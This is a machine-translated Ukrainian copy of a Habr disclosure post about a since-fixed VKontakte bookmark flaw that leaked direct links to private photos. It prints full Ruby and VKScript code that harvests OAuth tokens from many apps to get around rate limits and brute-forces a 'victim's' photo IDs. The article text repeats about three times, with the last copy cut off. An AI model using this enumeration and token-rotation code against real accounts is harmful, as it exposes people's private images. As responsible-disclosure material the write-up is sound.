Донецкий техникум промышленной автоматики

Уразливість «ВКонтакте» дозволяла отримати прямі посилання на приватні фотографії / Хабр

  1. Уразливість «ВКонтакте» дозволяла отримати прямі посилання на приватні фотографії tl; dr Була виявлена...
  2. перебираємо фотографії
  3. Прискорюємо перебір x25
  4. Прискорюємо перебір x25 * кількість паралельних запитів в секунду
  5. підсумки
  6. Повідомляємо про уразливість
  7. Уразливість «ВКонтакте» дозволяла отримати прямі посилання на приватні фотографії
  8. Як працюють фотографії в ВК
  9. перебираємо фотографії
  10. Прискорюємо перебір x25
  11. Прискорюємо перебір x25 * кількість паралельних запитів в секунду
  12. підсумки
  13. Повідомляємо про уразливість
  14. Уразливість «ВКонтакте» дозволяла отримати прямі посилання на приватні фотографії
  15. Як працюють фотографії в ВК
  16. перебираємо фотографії
  17. Прискорюємо перебір x25
  18. Прискорюємо перебір x25 * кількість паралельних запитів в секунду
  19. підсумки
  20. Повідомляємо про уразливість
  21. Уразливість «ВКонтакте» дозволяла отримати прямі посилання на приватні фотографії
  22. Як працюють фотографії в ВК
  23. перебираємо фотографії
  24. Прискорюємо перебір x25
  25. Прискорюємо перебір x25 * кількість паралельних запитів в секунду
  26. підсумки
  27. Повідомляємо про уразливість
  28. Уразливість «ВКонтакте» дозволяла отримати прямі посилання на приватні фотографії
  29. Як працюють фотографії в ВК
  30. перебираємо фотографії
  31. Прискорюємо перебір x25
  32. Прискорюємо перебір x25 * кількість паралельних запитів в секунду
  33. підсумки
  34. Повідомляємо про уразливість
  35. Уразливість «ВКонтакте» дозволяла отримати прямі посилання на приватні фотографії
  36. Як працюють фотографії в ВК
  37. перебираємо фотографії
  38. Прискорюємо перебір x25
  39. Прискорюємо перебір x25 * кількість паралельних запитів в секунду
  40. підсумки
  41. Повідомляємо про уразливість
  42. Уразливість «ВКонтакте» дозволяла отримати прямі посилання на приватні фотографії
  43. Як працюють фотографії в ВК
  44. перебираємо фотографії
  45. Прискорюємо перебір x25
  46. Прискорюємо перебір x25 * кількість паралельних запитів в секунду
  47. підсумки
  48. Повідомляємо про уразливість

Уразливість «ВКонтакте» дозволяла отримати прямі посилання на приватні фотографії
tl; dr

Була виявлена ​​уразливість в закладках ВК, яка дозволяла отримувати прямі посилання на приватні фотографії з особистих повідомлень, альбомів будь-якого користувача / групи. Був написаний скрипт, який перебирав фотографії користувача за певний період і потім, через цю уразливість отримував прямі посилання на зображення. Якщо коротко, то: можна було за 1 хвилину отримати всі ваші вчорашні фотографії, за 7 хвилин - все фото, завантажені на минулого тижня, за 20 хвилин - минулий місяць, за 2 години - минулий рік. Уразливість на даний момент виправлена. Адміністрація ВКонтакте виплатила винагороду в 10к голосів.


Історія почалася з того, як мені в личку у «Вконтакте» кинули зображення. Зазвичай, якщо річ важлива, я її завантажую в хмару, але в моєму випадку в цьому не було необхідності, і я вирішив скористатися функцією закладок «Вконтакте».

Коротко про цю функціональність: в закладки додаються всі речі, які користувач лайкнув; також є функція ручного додавання посилання на користувача і внутрішньої посилання «ВКонтакте». Останній пункт мені видався дуже цікавим, так як після додавання посилання на фото я побачив його прев'юшки і текст з типом доданої суті:
Історія почалася з того, як мені в личку у «Вконтакте» кинули зображення
При додаванні посилання сервер парсит її, намагається з'ясувати, на яку сутність вона посилається і дістає інформацію про цей об'єкт з бази. Як правило, при написанні такого роду функцій з безліччю умов ймовірність того, що розробник щось забуде, дуже висока. Тому я не зміг собі дозволити пройти повз і вирішив витратити кілька хвилин, щоб трохи поекспериментувати.
В результаті мені вдалося дещо знайти. При додаванні посилання на фотографію, замітку або відео, до яких немає доступу, можна було отримати трохи приватної інформації про об'єкт. У випадку з фото і відео - це маленька (150x150) прев'юшки, на якій досить складно що-небудь розгледіти, у приватних нотаток відображалося назва. Через метод API fave.getLinks можна було отримати посилання на зображення, але знову ж таки занадто маленького розміру (75px і 130px). Так що, по суті, нічого серйозного.
Я вирішив зайти на мобільну версію сайту, щоб перевірити, чи відображається там все так же, як і в звичайній версії. Заглянувши в код сторінки, я побачив це:

Так! У значенні атрибута data-src_big зберігалася пряме посилання на оригінал зображення!
Таким чином, можна було отримати пряме посилання на будь-яке зображення у «Вконтакте», незалежно від того, куди воно завантажувалося і які налаштування приватності мало. Це могло бути зображення з особистих повідомлень або ж фотографія з приватних альбомів будь-якого користувача / групи.
Здавалося б, на цьому можна було зупинитися і написати розробникам, але мені стало цікаво, чи можливо, експлуатуючи цю уразливість, отримати доступ до всіх (ну або завантаженим в певний період часу) фотографій користувача. Основною проблемою тут, як ви розумієте, було те, що не завжди відома посилання на приватну фотографію виду photoXXXXXX_XXXXXXX, яку потрібно додати в закладки. В голову прийшла думка про перебір id фотки, але я її чомусь тут же відкинув як божевільну. Я перевірив пов'язані з фотографіями методи в API, подивився, як додаток працює з альбомами, але ніяких витоків, які могли б мені допомогти отримати список з айдішкамі всіх закритих фоток користувача, знайти не вдалося. Я вже хотів було кинути цю затію, але поглянувши ще раз на посилання з фотографією, раптом зрозумів, що перебір таки був хорошою ідеєю.

Як працюють фотографії в ВК


Як ви могли замінити, посилання на фотографію photo52708106_359542386 складається з двох частин: (id користувача) _ (якесь незрозуміле число). Як же формується друга частина?
На жаль, але, витративши дві години експерименти, я так цього і не зрозумів. У 2012 році на HighLoad ++ Олег Ілларіонов сказав кілька слів про те, як вони зберігають фотографії, про горизонтальний шардінг і випадковий вибір сервера для завантаження, але ця інформація мені нічого не дала, так як між id сервера і id фотки ніякого зв'язку не видно. Зрозуміло, що є якийсь глобальний лічильник, але там є ще якась логіка ... Тому що якщо друге число формувалося б за допомогою звичайного автоінкремента, то значення айдішок фоток давно б уже досягли величезних значень (у фб, наприклад, на даний момент це ~ 700 трлн.), але у «Вконтакте» це значення лише ~ 400 млн (хоча, судячи зі статистики, щодня користувачі завантажують понад 30 млн фотографій). Тобто ясно, що цифра ця не унікальна, але при цьому і не рандомних. Я написав скриптик, який пройшовся по фотографіям «старих» користувачів і за отриманими даними склав графік того, на скільки змінювалася ця цифра з кожним роком:
Як ви могли замінити, посилання на фотографію photo52708106_359542386 складається з двох частин: (id користувача) _ (якесь незрозуміле число)
Видно, що значення скачуть в залежності від якихось чинників (кількості серверів або нової логіки?). Але суть в тому, що вони досить малі (особливо за останні 2-3 роки) і дуже легко вирахувати діапазон id для бажаного періоду часу. Тобто щоб дізнатися прямі посилання на фотки користувача, припустимо, за минулий рік, потрібно спробувати додати в закладки всього лише 30 млн (від _320000000 до _350000000) різних варіацій посилань! Нижче я описав техніку перебору, яка дозволила мені зробити це за лічені хвилини.

перебираємо фотографії


Можна було все це додавати руками через інтерфейс або ж написати скрипт, який додає по одному посиланню в закладки, але це було б нудно і довго. Швидкість перебору в такому випадку склала б 3 закладки в секунду, тому що більше трьох запитів в секунду на сервер «Вконтакте» відправляти не можна .

Прискорюємо перебір x25


Щоб хоч трохи обійти обмеження в 3 запити, я вирішив скористатися методом execute . В одному виклику цього методу можливо 25 звернень до методів API.
var start = parseInt (Args.start); var end = parseInt (Args.end); var victimId = Args.id; var link = "http://vk.com/photo" + victimId + "_"; while (start! = end) {API.fave.addLink ({ "link": link + start}); start = start + 1; };
У такий спосіб вдалося підвищити швидкість брутфорса до 3 * 25 закладок / сек. За минулий рік фотографії перебиралися б довго, але ось для коротких проміжків цей метод перебору вже був досить-таки непоганий.

Прискорюємо перебір x25 * кількість паралельних запитів в секунду


Обмеження на кількість запитів / сек діє на кожен додаток окремо, а не на користувача цілком. Так що нічого не заважає відправляти паралельно багато запитів, але при цьому використовуючи в них токени від різних додатків.
Для початку потрібно було знайти (або створити) потрібну кількість додатків. Був написаний скрипт, який шукає standalone додатки в заданому інтервалі ідентифікаторів додатків:
class StandaloneAppsFinder attr_reader: app_ids def initialize (params) @range = params [: in_range] @app_ids = [] end def search (@range) .each do | app_id | response = open ( "https://api.vk.com/method/apps.get?app_id=#{app_id}") .read app = JSON.parse (response) [ 'response'] app_ids << app_id if standalone ? (app) end end private def standalone? (app_data) app_data [ 'type'] == 'standalone' end end
Можна було ще відбирати додатки за кількістю користувачів, щоб ще більше прискорити подальший перебір:
Якщо додаток встановило менше 10 000 чоловік, то можна здійснювати 5 запитів в секунду, до 100 000 - 8 запитів, до 1 000 000 - 20 запитів, більше 1 млн. - 35 запитів в секунду.
[Обмеження та рекомендації]

Але вирішив з цим не морочитися.
Ок, додатки знайдені, тепер їм потрібно дати дозвіл до даних нашого користувача і отримати токени. Для авторизації довелося використовувати механізм Implicit Flow. Довелося парсити урл авторизації з діалогу OAuth і після редиректу витягувати токен. Для роботи даного класу потрібні куки p, l (login.vk.com) і remixsid (vk.com):
class Authenticator attr_reader: access_tokens def initialize (cookie_header) @cookies = { 'Cookie' => cookie_header} @access_tokens = [] end def authorize_apps (apps) apps.each do | app_id | auth_url = extract_auth_url_from (oauth_page (app_id)) redirect_url = open (auth_url, @cookies) .base_uri.to_s access_tokens << extract_token_from (redirect_url) end end private def extract_auth_url_from (oauth_page_html) Nokogiri :: HTML (oauth_page_html) .css ( 'form' ) .attr ( 'action'). value end def extract_token_from (url) URI (url) .fragment [13..97] end def oauth_page (app_id) open (oauth_page_url (app_id), @cookies) .read end def oauth_page_url ( app_id) "https://oauth.vk.com/authorize?" + "Client_id = # {app_id} &" + "response_type = token &" + "display = mobile &" + "scope = 474367" end end
Скільки додатків знайдено, стільки і паралельних запитів. Для розпаралелювання всієї цієї справи було вирішено використовувати гем Typhoeus , Який відмінно зарекомендував себе в інших завданнях. Вийшов такий ось невеликий брутфорсер:
class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = { 'today' => 366300000..366500000, 'yesterday' => 366050000..366300000, 'current_month' => 365000000..366500000, 'last_month' => 360000000..365000000, 'current_year' => 350000000..366500000, 'last_year' => 320000000..350000000} def initialize (params) @victim_id = params [: victim_id] @period = PHOTOS_ID_BY_PERIOD [params [: period]] end def run (tokens) hydra = Typhoeus :: Hydra.new tokensIterator = 0 (@period) .step (25) do | photo_id | url = "https://api.vk.com/method/execute?access_token=#{tokens[tokensIterator]}&code=#{vkscript(photo_id)}" encoded_url = URI.escape (url) .gsub ( '+' , '% 2B'). delete ( "\ n") tokensIterator = tokensIterator == tokens.count - 1? 0: tokensIterator + 1 hydra.queue Typhoeus :: Request.new encoded_url hydra.run if tokensIterator.zero? end hydra.run unless hydra.queued_requests.count.zero? end private def vkscript (photo_id) << - VKScript var start = # {photo_id}; var end = # {photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while (start! = end) {API.fave.addLink ({ "link": link + start}); start = start + 1; }; return start; VKScript end end
Щоб ще більше прискорити брутфорс, була спроба позбутися від непотрібного тіла у відповіді, але на HEAD запит сервер «Вконтакте» повертає помилку 501 Not implemented.
Остаточна версія скрипта виглядає так:
require 'nokogiri' require 'open-uri' require 'typhoeus' require 'json' require './standalone_apps_finder' require './photos_bruteforcer' require './authenticator' bruteforcer = PhotosBruteforcer.new (victim_id: ARGV [0], period : ARGV [1]) apps_finder = StandaloneAppsFinder.new (in_range: 4800000..4800500) apps_finder.search # p, l - cookies from login.vk.com # remixsid - cookie from vk.com authenticator = Authenticator.new ( 'p =; '+' l =; '+' remixsid =; ') authenticator.authorize_apps (apps_finder.app_ids) bruteforcer.run (authenticator.access_tokens)
Після відпрацювання програми в закладках були всі фотографії користувача за заданий період. Залишалося тільки зайти в мобільну версію «Вконтакте», відкрити консоль браузера, витягнути прямі посилання і насолоджуватися фотографіями в їх оригінальному розмірі.

підсумки


В цілому, все залежить від вашого інтернет з'єднання та швидкості проксі серверів, латенсі серверів «Вконтакте», потужності процесора і безлічі інших чинників. Випробувавши скрипт вище на своєму акаунті, отримав такі ось цифри (без урахування часу, витраченого на отримання токенов):
Період Час (хвилини) Вчора 0.84 Минулий тиждень 6.9 Минулий місяць 18.3 Минулий рік 121.1 3 останні роки 312.5
У таблиці показано середній час, необхідний для того, щоб перепробувати id фотографій за певний період. Я впевнений, все це можна було прискорити раз так в 10-20. Наприклад, в скрипті брутфорса зробити одну велику чергу з усіх запитів і нормальну синхронізацію між ними, тому що в моїй реалізації один запит з timeout буде гальмувати весь процес. Та й взагалі, можна було просто купити парочку інстанси на EC2, і за годинку отримати всі фотографії якого завгодно користувача. Але я вже хотів спати.
Та й взагалі, не має значення, скільки часу зловмисник на це витратить 5 годин або ж цілий день, адже так чи інакше посилання на приватні зображення він добуде. Можливість залізно отримати доступ до приватної інформації за кінцевий час - і є головна загроза, яку несе ця вразливість.

Повідомляємо про уразливість


Спочатку репорт був відправлений службі підтримки, але після відповіді типу «спасибі, як-небудь пофиксил напевно ...» і тижні очікування, мені щось стало сумно. Дуже дякую Bo0oM , Який допоміг зв'язатися з розробниками напряму. Після цього баги закрили протягом декількох годин, а через кілька днів на мій рахунок адміністрація перевела винагороду в розмірі 10к голосів .
Спочатку репорт був відправлений службі підтримки, але після відповіді типу «спасибі, як-небудь пофиксил напевно
Цілеспрямовано дослідженням ВК я ніколи не займався, але після такого, майже випадкового виявлення цієї уразливості серйозно почав замислюватися про те, щоб витратити кілька годин на повноцінний аудит цієї соціальної мережі. У «ВКонтакте» немає офіційної баг баунти програми, тому whitehat ресерчери обходять цей сайт стороною, а інші, менш «білі» хакери, просто тихо користуються помилками в своїх цілях, або продають їх. Так що, думаю, ще парочку подібних вразливостей в ВК можна знайти.
Всім добра!

Уразливість «ВКонтакте» дозволяла отримати прямі посилання на приватні фотографії


tl; dr

Була виявлена ​​уразливість в закладках ВК, яка дозволяла отримувати прямі посилання на приватні фотографії з особистих повідомлень, альбомів будь-якого користувача / групи. Був написаний скрипт, який перебирав фотографії користувача за певний період і потім, через цю уразливість отримував прямі посилання на зображення. Якщо коротко, то: можна було за 1 хвилину отримати всі ваші вчорашні фотографії, за 7 хвилин - все фото, завантажені на минулого тижня, за 20 хвилин - минулий місяць, за 2 години - минулий рік. Уразливість на даний момент виправлена. Адміністрація ВКонтакте виплатила винагороду в 10к голосів.


Історія почалася з того, як мені в личку у «Вконтакте» кинули зображення. Зазвичай, якщо річ важлива, я її завантажую в хмару, але в моєму випадку в цьому не було необхідності, і я вирішив скористатися функцією закладок «Вконтакте».

Коротко про цю функціональність: в закладки додаються всі речі, які користувач лайкнув; також є функція ручного додавання посилання на користувача і внутрішньої посилання «ВКонтакте». Останній пункт мені видався дуже цікавим, так як після додавання посилання на фото я побачив його прев'юшки і текст з типом доданої суті:
Історія почалася з того, як мені в личку у «Вконтакте» кинули зображення
При додаванні посилання сервер парсит її, намагається з'ясувати, на яку сутність вона посилається і дістає інформацію про цей об'єкт з бази. Як правило, при написанні такого роду функцій з безліччю умов ймовірність того, що розробник щось забуде, дуже висока. Тому я не зміг собі дозволити пройти повз і вирішив витратити кілька хвилин, щоб трохи поекспериментувати.
В результаті мені вдалося дещо знайти. При додаванні посилання на фотографію, замітку або відео, до яких немає доступу, можна було отримати трохи приватної інформації про об'єкт. У випадку з фото і відео - це маленька (150x150) прев'юшки, на якій досить складно що-небудь розгледіти, у приватних нотаток відображалося назва. Через метод API fave.getLinks можна було отримати посилання на зображення, але знову ж таки занадто маленького розміру (75px і 130px). Так що, по суті, нічого серйозного.
Я вирішив зайти на мобільну версію сайту, щоб перевірити, чи відображається там все так же, як і в звичайній версії. Заглянувши в код сторінки, я побачив це:

Так! У значенні атрибута data-src_big зберігалася пряме посилання на оригінал зображення!
Таким чином, можна було отримати пряме посилання на будь-яке зображення у «Вконтакте», незалежно від того, куди воно завантажувалося і які налаштування приватності мало. Це могло бути зображення з особистих повідомлень або ж фотографія з приватних альбомів будь-якого користувача / групи.
Здавалося б, на цьому можна було зупинитися і написати розробникам, але мені стало цікаво, чи можливо, експлуатуючи цю уразливість, отримати доступ до всіх (ну або завантаженим в певний період часу) фотографій користувача. Основною проблемою тут, як ви розумієте, було те, що не завжди відома посилання на приватну фотографію виду photoXXXXXX_XXXXXXX, яку потрібно додати в закладки. В голову прийшла думка про перебір id фотки, але я її чомусь тут же відкинув як божевільну. Я перевірив пов'язані з фотографіями методи в API, подивився, як додаток працює з альбомами, але ніяких витоків, які могли б мені допомогти отримати список з айдішкамі всіх закритих фоток користувача, знайти не вдалося. Я вже хотів було кинути цю затію, але поглянувши ще раз на посилання з фотографією, раптом зрозумів, що перебір таки був хорошою ідеєю.

Як працюють фотографії в ВК


Як ви могли замінити, посилання на фотографію photo52708106_359542386 складається з двох частин: (id користувача) _ (якесь незрозуміле число). Як же формується друга частина?
На жаль, але, витративши дві години експерименти, я так цього і не зрозумів. У 2012 році на HighLoad ++ Олег Ілларіонов сказав кілька слів про те, як вони зберігають фотографії, про горизонтальний шардінг і випадковий вибір сервера для завантаження, але ця інформація мені нічого не дала, так як між id сервера і id фотки ніякого зв'язку не видно. Зрозуміло, що є якийсь глобальний лічильник, але там є ще якась логіка ... Тому що якщо друге число формувалося б за допомогою звичайного автоінкремента, то значення айдішок фоток давно б уже досягли величезних значень (у фб, наприклад, на даний момент це ~ 700 трлн.), але у «Вконтакте» це значення лише ~ 400 млн (хоча, судячи зі статистики, щодня користувачі завантажують понад 30 млн фотографій). Тобто ясно, що цифра ця не унікальна, але при цьому і не рандомних. Я написав скриптик, який пройшовся по фотографіям «старих» користувачів і за отриманими даними склав графік того, на скільки змінювалася ця цифра з кожним роком:
Як ви могли замінити, посилання на фотографію photo52708106_359542386 складається з двох частин: (id користувача) _ (якесь незрозуміле число)
Видно, що значення скачуть в залежності від якихось чинників (кількості серверів або нової логіки?). Але суть в тому, що вони досить малі (особливо за останні 2-3 роки) і дуже легко вирахувати діапазон id для бажаного періоду часу. Тобто щоб дізнатися прямі посилання на фотки користувача, припустимо, за минулий рік, потрібно спробувати додати в закладки всього лише 30 млн (від _320000000 до _350000000) різних варіацій посилань! Нижче я описав техніку перебору, яка дозволила мені зробити це за лічені хвилини.

перебираємо фотографії


Можна було все це додавати руками через інтерфейс або ж написати скрипт, який додає по одному посиланню в закладки, але це було б нудно і довго. Швидкість перебору в такому випадку склала б 3 закладки в секунду, тому що більше трьох запитів в секунду на сервер «Вконтакте» відправляти не можна .

Прискорюємо перебір x25


Щоб хоч трохи обійти обмеження в 3 запити, я вирішив скористатися методом execute . В одному виклику цього методу можливо 25 звернень до методів API.
var start = parseInt (Args.start); var end = parseInt (Args.end); var victimId = Args.id; var link = "http://vk.com/photo" + victimId + "_"; while (start! = end) {API.fave.addLink ({ "link": link + start}); start = start + 1; };
У такий спосіб вдалося підвищити швидкість брутфорса до 3 * 25 закладок / сек. За минулий рік фотографії перебиралися б довго, але ось для коротких проміжків цей метод перебору вже був досить-таки непоганий.

Прискорюємо перебір x25 * кількість паралельних запитів в секунду


Обмеження на кількість запитів / сек діє на кожен додаток окремо, а не на користувача цілком. Так що нічого не заважає відправляти паралельно багато запитів, але при цьому використовуючи в них токени від різних додатків.
Для початку потрібно було знайти (або створити) потрібну кількість додатків. Був написаний скрипт, який шукає standalone додатки в заданому інтервалі ідентифікаторів додатків:
class StandaloneAppsFinder attr_reader: app_ids def initialize (params) @range = params [: in_range] @app_ids = [] end def search (@range) .each do | app_id | response = open ( "https://api.vk.com/method/apps.get?app_id=#{app_id}") .read app = JSON.parse (response) [ 'response'] app_ids << app_id if standalone ? (app) end end private def standalone? (app_data) app_data [ 'type'] == 'standalone' end end
Можна було ще відбирати додатки за кількістю користувачів, щоб ще більше прискорити подальший перебір:
Якщо додаток встановило менше 10 000 чоловік, то можна здійснювати 5 запитів в секунду, до 100 000 - 8 запитів, до 1 000 000 - 20 запитів, більше 1 млн. - 35 запитів в секунду.
[Обмеження та рекомендації]

Але вирішив з цим не морочитися.
Ок, додатки знайдені, тепер їм потрібно дати дозвіл до даних нашого користувача і отримати токени. Для авторизації довелося використовувати механізм Implicit Flow. Довелося парсити урл авторизації з діалогу OAuth і після редиректу витягувати токен. Для роботи даного класу потрібні куки p, l (login.vk.com) і remixsid (vk.com):
class Authenticator attr_reader: access_tokens def initialize (cookie_header) @cookies = { 'Cookie' => cookie_header} @access_tokens = [] end def authorize_apps (apps) apps.each do | app_id | auth_url = extract_auth_url_from (oauth_page (app_id)) redirect_url = open (auth_url, @cookies) .base_uri.to_s access_tokens << extract_token_from (redirect_url) end end private def extract_auth_url_from (oauth_page_html) Nokogiri :: HTML (oauth_page_html) .css ( 'form' ) .attr ( 'action'). value end def extract_token_from (url) URI (url) .fragment [13..97] end def oauth_page (app_id) open (oauth_page_url (app_id), @cookies) .read end def oauth_page_url ( app_id) "https://oauth.vk.com/authorize?" + "Client_id = # {app_id} &" + "response_type = token &" + "display = mobile &" + "scope = 474367" end end
Скільки додатків знайдено, стільки і паралельних запитів. Для розпаралелювання всієї цієї справи було вирішено використовувати гем Typhoeus , Який відмінно зарекомендував себе в інших завданнях. Вийшов такий ось невеликий брутфорсер:
class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = { 'today' => 366300000..366500000, 'yesterday' => 366050000..366300000, 'current_month' => 365000000..366500000, 'last_month' => 360000000..365000000, 'current_year' => 350000000..366500000, 'last_year' => 320000000..350000000} def initialize (params) @victim_id = params [: victim_id] @period = PHOTOS_ID_BY_PERIOD [params [: period]] end def run (tokens) hydra = Typhoeus :: Hydra.new tokensIterator = 0 (@period) .step (25) do | photo_id | url = "https://api.vk.com/method/execute?access_token=#{tokens[tokensIterator]}&code=#{vkscript(photo_id)}" encoded_url = URI.escape (url) .gsub ( '+' , '% 2B'). delete ( "\ n") tokensIterator = tokensIterator == tokens.count - 1? 0: tokensIterator + 1 hydra.queue Typhoeus :: Request.new encoded_url hydra.run if tokensIterator.zero? end hydra.run unless hydra.queued_requests.count.zero? end private def vkscript (photo_id) << - VKScript var start = # {photo_id}; var end = # {photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while (start! = end) {API.fave.addLink ({ "link": link + start}); start = start + 1; }; return start; VKScript end end
Щоб ще більше прискорити брутфорс, була спроба позбутися від непотрібного тіла у відповіді, але на HEAD запит сервер «Вконтакте» повертає помилку 501 Not implemented.
Остаточна версія скрипта виглядає так:
require 'nokogiri' require 'open-uri' require 'typhoeus' require 'json' require './standalone_apps_finder' require './photos_bruteforcer' require './authenticator' bruteforcer = PhotosBruteforcer.new (victim_id: ARGV [0], period : ARGV [1]) apps_finder = StandaloneAppsFinder.new (in_range: 4800000..4800500) apps_finder.search # p, l - cookies from login.vk.com # remixsid - cookie from vk.com authenticator = Authenticator.new ( 'p =; '+' l =; '+' remixsid =; ') authenticator.authorize_apps (apps_finder.app_ids) bruteforcer.run (authenticator.access_tokens)
Після відпрацювання програми в закладках були всі фотографії користувача за заданий період. Залишалося тільки зайти в мобільну версію «Вконтакте», відкрити консоль браузера, витягнути прямі посилання і насолоджуватися фотографіями в їх оригінальному розмірі.

підсумки


В цілому, все залежить від вашого інтернет з'єднання та швидкості проксі серверів, латенсі серверів «Вконтакте», потужності процесора і безлічі інших чинників. Випробувавши скрипт вище на своєму акаунті, отримав такі ось цифри (без урахування часу, витраченого на отримання токенов):
Період Час (хвилини) Вчора 0.84 Минулий тиждень 6.9 Минулий місяць 18.3 Минулий рік 121.1 3 останні роки 312.5
У таблиці показано середній час, необхідний для того, щоб перепробувати id фотографій за певний період. Я впевнений, все це можна було прискорити раз так в 10-20. Наприклад, в скрипті брутфорса зробити одну велику чергу з усіх запитів і нормальну синхронізацію між ними, тому що в моїй реалізації один запит з timeout буде гальмувати весь процес. Та й взагалі, можна було просто купити парочку інстанси на EC2, і за годинку отримати всі фотографії якого завгодно користувача. Але я вже хотів спати.
Та й взагалі, не має значення, скільки часу зловмисник на це витратить 5 годин або ж цілий день, адже так чи інакше посилання на приватні зображення він добуде. Можливість залізно отримати доступ до приватної інформації за кінцевий час - і є головна загроза, яку несе ця вразливість.

Повідомляємо про уразливість


Спочатку репорт був відправлений службі підтримки, але після відповіді типу «спасибі, як-небудь пофиксил напевно ...» і тижні очікування, мені щось стало сумно. Велике дякую Bo0oM , Який допоміг зв'язатися з розробниками напряму. Після цього баги закрили протягом декількох годин, а через кілька днів на мій рахунок адміністрація перевела винагороду в розмірі 10к голосів .
Спочатку репорт був відправлений службі підтримки, але після відповіді типу «спасибі, як-небудь пофиксил напевно
Цілеспрямовано дослідженням ВК я ніколи не займався, але після такого, майже випадкового виявлення цієї уразливості серйозно почав замислюватися про те, щоб витратити кілька годин на повноцінний аудит цієї соціальної мережі. У «ВКонтакте» немає офіційної баг баунти програми, тому whitehat ресерчери обходять цей сайт стороною, а інші, менш «білі» хакери, просто тихо користуються помилками в своїх цілях, або продають їх. Так що, думаю, ще парочку подібних вразливостей в ВК можна знайти.
Всім добра!

Уразливість «ВКонтакте» дозволяла отримати прямі посилання на приватні фотографії


tl; dr

Була виявлена ​​уразливість в закладках ВК, яка дозволяла отримувати прямі посилання на приватні фотографії з особистих повідомлень, альбомів будь-якого користувача / групи. Був написаний скрипт, який перебирав фотографії користувача за певний період і потім, через цю уразливість отримував прямі посилання на зображення. Якщо коротко, то: можна було за 1 хвилину отримати всі ваші вчорашні фотографії, за 7 хвилин - все фото, завантажені на минулого тижня, за 20 хвилин - минулий місяць, за 2 години - минулий рік. Уразливість на даний момент виправлена. Адміністрація ВКонтакте виплатила винагороду в 10к голосів.


Історія почалася з того, як мені в личку у «Вконтакте» кинули зображення. Зазвичай, якщо річ важлива, я її завантажую в хмару, але в моєму випадку в цьому не було необхідності, і я вирішив скористатися функцією закладок «Вконтакте».

Коротко про цю функціональність: в закладки додаються всі речі, які користувач лайкнув; також є функція ручного додавання посилання на користувача і внутрішньої посилання «ВКонтакте». Останній пункт мені видався дуже цікавим, так як після додавання посилання на фото я побачив його прев'юшки і текст з типом доданої суті:
Історія почалася з того, як мені в личку у «Вконтакте» кинули зображення
При додаванні посилання сервер парсит її, намагається з'ясувати, на яку сутність вона посилається і дістає інформацію про цей об'єкт з бази. Як правило, при написанні такого роду функцій з безліччю умов ймовірність того, що розробник щось забуде, дуже висока. Тому я не зміг собі дозволити пройти повз і вирішив витратити кілька хвилин, щоб трохи поекспериментувати.
В результаті мені вдалося дещо знайти. При додаванні посилання на фотографію, замітку або відео, до яких немає доступу, можна було отримати трохи приватної інформації про об'єкт. У випадку з фото і відео - це маленька (150x150) прев'юшки, на якій досить складно що-небудь розгледіти, у приватних нотаток відображалося назва. Через метод API fave.getLinks можна було отримати посилання на зображення, але знову ж таки занадто маленького розміру (75px і 130px). Так що, по суті, нічого серйозного.
Я вирішив зайти на мобільну версію сайту, щоб перевірити, чи відображається там все так же, як і в звичайній версії. Заглянувши в код сторінки, я побачив це:

Так! У значенні атрибута data-src_big зберігалася пряме посилання на оригінал зображення!
Таким чином, можна було отримати пряме посилання на будь-яке зображення у «Вконтакте», незалежно від того, куди воно завантажувалося і які налаштування приватності мало. Це могло бути зображення з особистих повідомлень або ж фотографія з приватних альбомів будь-якого користувача / групи.
Здавалося б, на цьому можна було зупинитися і написати розробникам, але мені стало цікаво, чи можливо, експлуатуючи цю уразливість, отримати доступ до всіх (ну або завантаженим в певний період часу) фотографій користувача. Основною проблемою тут, як ви розумієте, було те, що не завжди відома посилання на приватну фотографію виду photoXXXXXX_XXXXXXX, яку потрібно додати в закладки. В голову прийшла думка про перебір id фотки, але я її чомусь тут же відкинув як божевільну. Я перевірив пов'язані з фотографіями методи в API, подивився, як додаток працює з альбомами, але ніяких витоків, які могли б мені допомогти отримати список з айдішкамі всіх закритих фоток користувача, знайти не вдалося. Я вже хотів було кинути цю затію, але поглянувши ще раз на посилання з фотографією, раптом зрозумів, що перебір таки був хорошою ідеєю.

Як працюють фотографії в ВК


Як ви могли замінити, посилання на фотографію photo52708106_359542386 складається з двох частин: (id користувача) _ (якесь незрозуміле число). Як же формується друга частина?
На жаль, але, витративши дві години експерименти, я так цього і не зрозумів. У 2012 році на HighLoad ++ Олег Ілларіонов сказав кілька слів про те, як вони зберігають фотографії, про горизонтальний шардінг і випадковий вибір сервера для завантаження, але ця інформація мені нічого не дала, так як між id сервера і id фотки ніякого зв'язку не видно. Зрозуміло, що є якийсь глобальний лічильник, але там є ще якась логіка ... Тому що якщо друге число формувалося б за допомогою звичайного автоінкремента, то значення айдішок фоток давно б уже досягли величезних значень (у фб, наприклад, на даний момент це ~ 700 трлн.), але у «Вконтакте» це значення лише ~ 400 млн (хоча, судячи зі статистики, щодня користувачі завантажують понад 30 млн фотографій). Тобто ясно, що цифра ця не унікальна, але при цьому і не рандомних. Я написав скриптик, який пройшовся по фотографіям «старих» користувачів і за отриманими даними склав графік того, на скільки змінювалася ця цифра з кожним роком:
Як ви могли замінити, посилання на фотографію photo52708106_359542386 складається з двох частин: (id користувача) _ (якесь незрозуміле число)
Видно, що значення скачуть в залежності від якихось чинників (кількості серверів або нової логіки?). Але суть в тому, що вони досить малі (особливо за останні 2-3 роки) і дуже легко вирахувати діапазон id для бажаного періоду часу. Тобто щоб дізнатися прямі посилання на фотки користувача, припустимо, за минулий рік, потрібно спробувати додати в закладки всього лише 30 млн (від _320000000 до _350000000) різних варіацій посилань! Нижче я описав техніку перебору, яка дозволила мені зробити це за лічені хвилини.

перебираємо фотографії


Можна було все це додавати руками через інтерфейс або ж написати скрипт, який додає по одному посиланню в закладки, але це було б нудно і довго. Швидкість перебору в такому випадку склала б 3 закладки в секунду, тому що більше трьох запитів в секунду на сервер «Вконтакте» відправляти не можна .

Прискорюємо перебір x25


Щоб хоч трохи обійти обмеження в 3 запити, я вирішив скористатися методом execute . В одному виклику цього методу можливо 25 звернень до методів API.
var start = parseInt (Args.start); var end = parseInt (Args.end); var victimId = Args.id; var link = "http://vk.com/photo" + victimId + "_"; while (start! = end) {API.fave.addLink ({ "link": link + start}); start = start + 1; };
